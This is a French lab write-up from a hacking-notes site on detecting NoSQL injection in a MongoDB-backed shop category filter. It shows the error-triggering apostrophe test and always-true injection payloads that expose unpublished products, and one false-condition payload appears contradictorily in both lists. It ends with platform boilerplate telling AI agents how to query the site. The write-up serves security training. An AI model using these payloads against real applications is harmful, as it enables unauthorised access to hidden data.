> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/nosql-injection/detection-of-nosql-injection.md).

# Détection de l’injection NoSQL

### Détection d’injection NoSQL

**Objectif du labo**

Ce laboratoire contient une application de commerce électronique dont le filtre de catégorie est basé sur une base de données **MongoDB (NoSQL)**. / Une vulnérabilité d’injection NoSQL vous permet d’afficher **des produits non publiés**.

L’objectif est d’exploiter cette vulnérabilité afin de forcer l’application à renvoyer tous les produits, y compris ceux qui ne devraient pas être visibles.

**Contexte de l’application**

* Page e-commerce avec un filtre par catégorie.
* Exemple de requête normale

```bash
filter?category=Accessories
```

<figure><img src="/files/4161a6b0e8becb50ce3dc93b56b961b1b9cc5f6c" alt=""><figcaption></figcaption></figure>

**Identification de la vulnérabilité**

Lors de l’ajout d’un **apostrophe** à la fin du `category` paramètre, le serveur renvoie une erreur interne :

```bash
Erreur interne du serveur
Échec de la commande avec l’erreur 139 (JSInterpreterFailure) :
SyntaxError : chaîne littérale non terminée....
```

<figure><img src="/files/3720379a5c7e9dc77fbf2ccb034d07b54f46e4f7" alt=""><figcaption></figcaption></figure>

Cette erreur révèle plusieurs éléments importants :

* Le backend utilise **MongoDB**.
* Les entrées utilisateur sont interprétées dans un **JavaScript** contexte côté base de données.
* L’application est vulnérable à une injection \*\*NoSQL\*\*.

**Exploitation de l’injection NoSQL**

L’objectif est de manipuler la condition utilisée dans la requête MongoDB afin qu’elle soit toujours vraie.

Exemples de charges utiles testées :

```sql
' || 1==1 || '
' || true || '
' && 0 && '
```

Ces expressions forcent la condition à être vraie, ce qui provoque l’affichage de \*\* tous les produits\*\* y compris ceux qui ne sont pas publiés

<figure><img src="/files/f4082639045563fb906fc3c9250cf8e3148f909a" alt=""><figcaption></figcaption></figure>

#### Charges utiles non fonctionnelles (pour comparaison)

```sql
' && 0 && '
' || 1==2 || '
```

Ces conditions sont évaluées comme fausses et ne renvoient aucun produit

<figure><img src="/files/a0622e8379c62aeebdab2e5ec4ba153b98ec25be" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/nosql-injection/detection-of-nosql-injection.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
